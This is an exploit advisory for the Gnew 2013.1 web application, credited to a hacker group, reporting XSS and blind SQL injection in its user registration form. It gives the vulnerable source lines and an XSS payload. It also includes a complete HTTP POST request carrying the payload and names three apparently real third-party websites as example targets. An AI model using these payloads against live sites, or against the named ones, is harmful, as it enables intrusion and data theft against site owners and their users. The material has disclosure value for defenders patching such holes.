Gnew 2013.1 Multipe Vulnerabilities

##################################################
# Exploit Title: Gnew 2013.1 Multipe Vulnerabilities
# Date: 17/04/2013
# Author: Elite Trojan
# Category:: webapps
# Google dork: N/A
# Tested on: linux + windows
##################################################
[I]~Verified XSS

[+]~Vulnerable File: /users/register.php
[+]~Vulnerable Source Code: 
    	$user_email = trim($_POST['user_email']); // LINE 66
		
[+]~Exploitation: 
Just set the POST input "user_email" to your Evil js Code
Ex: '"()&%1<ScRiPt >prompt("Hello")</ScRiPt>
-----------------------------------------------------------
[II]~Blind SQL injection ( POST )

[+]~Vulnerable File: /users/register.php
[+]~Vulnerable Source Code: 
  $sql->query('SELECT user_email, user_name
                     FROM ' . TABLE_USERS . '
                     WHERE user_name = \'' . $user_name . '\'
                     OR user_email = \'' . $user_email . '\'');
[+]~Exploitation: 
Inject in the "user_email" field.
----------------------------------------------------------
[III]~Examples: 
http://www.chocolinio.com/Gnew/site/users/register.php
http://www.africanfarmproperties.co.za/afp/users/register.php
http://www.gnew.fr/users/register.php

Using This HTTP Request:

POST http://site.com/users/register.php HTTP/1.1
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ljm4jfgksahtrtdmtup9q1j550
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

register=S%27enregistrer&user_captcha=tcomoknq&user_email=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28955967%29%3c%2fScRiPt%3e&user_name=tcomoknq&user_password=tcomoknq&user_password2=tcomoknq

+-------------------------------------------------------------+
[»]                    #-DzMafia-#
[»] We are : Password, EliteTrojan, gel-dz, BackUp, Interp0l
+-------------------------------------------------------------+
[»] Greetz to :
[ Evil-Dz , JIGsaw , Lakamora , Zikou-16 , Ked'ans , Gastro-Dz , Hacker-1420 , Hacker-Fire ]
[ Original-Dz , Aghilas , r00t-Dz , Yacine Jocker , Djamil Jocker , Fcmam5 , DzMiho , X-Attack ]
[ Ghost , King Of Pirates, EvilDead , Vaga-Dz , F0undCode , NetBomber , tr0on , Shield-Dz ]
[ @~Nd t0 4ll my Freinds+ Dz-xPl0!t3rs.... ]
+-------------------------------------------------------------+
EliteTrojan © 2013 All rights reserved.

#  0day.today [2018-01-04]  #